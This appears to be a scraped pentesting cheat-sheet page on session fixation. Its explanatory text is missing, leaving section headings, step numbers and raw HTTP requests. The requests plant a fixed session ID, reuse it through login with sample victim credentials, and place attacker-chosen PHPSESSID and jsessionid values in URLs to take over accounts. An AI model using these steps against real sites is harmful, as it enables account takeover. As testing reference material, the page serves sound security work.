Session Fixation
Check List
Methodology
Black Box
Account Take Over
1
2
GET / HTTP/1.1
Host: example.comSet-Cookie: sessionid=ABC123XYZ; path=/; HttpOnly3
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: sessionid=ABC123XYZ
username=victim&password=VictimPass1234
5
GET /dashboard?sessionid=ABC123XYZ HTTP/1.1
Host: target.com6
http://target.com/login?sessionid=ABC123XYZ7
GET /dashboard HTTP/1.1
Host: target.com
Cookie: sessionid=ABC123XYZAuthentication Bypass via Captured Login Responses
1
2
3
4
5
Improper Session Invalidation Allows Account Access After Logout
1
2
3
4
5
6
7
Account Takeover
1
2
3
4
5
6
https://target.com/login
https://target.com/?PHPSESSID=attacker123
https://target.com/dashboard;jsessionid=attacker1237
8
9
10
11
https://target.com/?PHPSESSID=attacker12312
White Box
Cheat Sheet
Last updated